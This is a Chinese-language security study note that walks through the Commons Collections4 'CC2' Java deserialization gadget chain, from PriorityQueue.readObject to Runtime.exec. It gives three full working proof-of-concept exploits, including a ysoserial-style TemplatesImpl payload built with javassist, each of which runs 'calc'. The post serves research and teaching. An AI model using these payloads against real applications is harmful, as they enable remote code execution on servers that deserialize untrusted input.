java-CC2 链审计笔记
java-CC2 链审计笔记
调用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
@Dependencies({ "org.apache.commons: commons-collections4:4.0" })
链条分析
依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
这条链是在 common-collections4 下的,因为在 3.x 的版本中 TransformingComparator 并没有去实现 Serializable 接口,也就是说它不可以被序列化
先来看链条尾部这部分
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这个 InvokerTransformer.transform() 我们 CC1 审计的时候就知道了,他具有反射调用任意方法的能力
我们直接来看 TransformingComparator.compare() 这个方法

看到这个方法确实在调用 transform 方法 , 我们只需要做到 transformer 参数可控即可
看到他的构造方法是 public 的,且做了初始化 transformer 的操作
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
我们看谁在调用 compare 方法
这里链条作者找到了 java.util.PriorityQueue 中的方法

我们分别来看一下
先来看 siftUpUsingComparator() ,发现它确实有在调用 compare 方法,自需要满足 k > 0 即可

我们去找哪里在调用 siftUpUsingComparator() 这个方法

发现 siftup() 方法,但是遗憾的是这个方法最终走不到 readObject() 方法,只能作罢
我们接着来看 siftDownUsingComparator() 这个方法
跟着这个方法,可以发现他是可以被 readObject() 调用的,调用链
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown // 满足 comparator != null
java.util.PriorityQueue#siftDownUsingComparator

看到要执行 compare ,得满足 k<half 我们可以看到 half 是 size 无符号 右移一位得到的,其实就是 half = size/2
我们来跟踪一下 k 的值
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
看到 k 的值 来自 heapify() 函数的循环中,值为 (size >>> 1) - 1 也就是说 size >= 2 才能满足 siftDownUsingComparator 中的 k<half((size >>> 1) - 1 < size >>> 1)
那我们如何操作 size 的值呢?这里有两种方法
- 调用自身的方法操作
- 用反射赋值
看到 offer 方法 , 在给 size 做 + 1 的操作,我们调用两次 offer() 方法,size 的值就是 2 了
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
// 这个方法我们上面也分析过,它在 comparator != null 时,也会去执行恶意代码,我们用反射赋值
siftUp(i, e);
return true;
}
private final Comparator <? super E> comparator;
虽然为 final 修饰,但是他的值为 null 我们是可以利用反射来赋值的
我们来做一个实验
package com.lingx5;
import java.lang.reflect.Field;
public class S1 {
private final String a = "lingx4";
public static void main(String[] args) throws Exception {
S1 s1 = new S1();
System.out.println(s1.a);
Field field = s1.getClass().getDeclaredField("a");
field.setAccessible(true);
field.set(s1,"lingx5");
System.out.println(s1.a);
}
}

package com.lingx5;
import java.lang.reflect.Field;
public class S1 {
private final String a = null;
public static void main(String[] args) throws Exception {
S1 s1 = new S1();
System.out.println(s1.a);
Field field = s1.getClass().getDeclaredField("a");
field.setAccessible(true);
field.set(s1,"lingx5");
System.out.println(s1.a);
}
}

POC
自身方法
package com.lingx5;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(1);
// 让 size=2
priorityQueue.offer(1);
priorityQueue.offer(2);
try {
// 反射给 priorityQueue的comparator变量赋值
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,comparator);
FileOutputStream fileOutputStream = new FileOutputStream("CC2.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(priorityQueue);
FileInputStream fileInputStream = new FileInputStream("CC2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

注意:
这里如果不用反射给 priorityQueue 的 comparator 变量赋值的话,我们在执行 priorityQueue.offer(1) 的时候,会来到如下方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
this.decorated.compare(value1, value2) 方法会抛出异常,程序就终止了,无法完成序列化和反序列化操作
反射方式
用反射赋值就不用担心这个问题
用反射需要注意 size 和 queue ,都需要操作。 别让数组和长度溢出了
package com.lingx5;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(1,comparator);
try {
// 反射给 size赋值
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
// 反射获取 queue
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] objects = {"lingx5", "lingx5"};
queue.set(priorityQueue,objects);
// 反射给 priorityQueue的comparator变量赋值
// Field field = priorityQueue.getClass().getDeclaredField("comparator");
// field.setAccessible(true);
// field.set(priorityQueue,comparator);
FileOutputStream fileOutputStream = new FileOutputStream("CC2.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(priorityQueue);
FileInputStream fileInputStream = new FileInputStream("CC2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
也是可以成功执行的

当然 ysoserial 原作者 并没有使用 ChainedTransformer 来做过滤 而是使用了 我们熟知的 TemplateImpl 的类加载能力
ysoserial
我们可以调用到 InvokerTransformer的transform() 方法,就意味着我们可以反射去执行我们想要的方法了,当然类加载也是可以的
添加依赖(当然也可以不用这个,自己写个恶意类,转换为字节数组即可)
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
POC
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ysoserialCC2 {
public static byte[] getEvilBytes() throws Exception {
ClassPool ctClass = ClassPool.getDefault();
CtClass evil = ctClass.makeClass("evil");
evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
return evil.toBytecode();
}
public static void setFieldValue(Object obj, String fieldName, Object value) {
try {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
byte[] bytes = getEvilBytes();
// 构造 TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","evil");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
// 调用 getOutputProperties,原作者使用的 newTransformer()方法
// 注意只能是public的方法
// 因为InvokerTransformer.transform() 没有使用 getDeclaredMethod()和setAccessible(true)
InvokerTransformer transformer = new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer,null);
PriorityQueue priorityQueue = new PriorityQueue(1, comparator);
setFieldValue(priorityQueue,"size",2);
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(priorityQueue);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(bais);
objectInputStream.readObject();
}catch (Exception e) {
e.printStackTrace();
}
}
}
在 InvokerTransformer#transform 中 反射调用

实例化

弹出计算器

调用栈拿出来看一下吧
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
main:57, ysoserialCC2 (com.lingx5)
我把 readObject() 的调用栈掐掉了,留下了链条的部分

浙公网安备 33010602011771号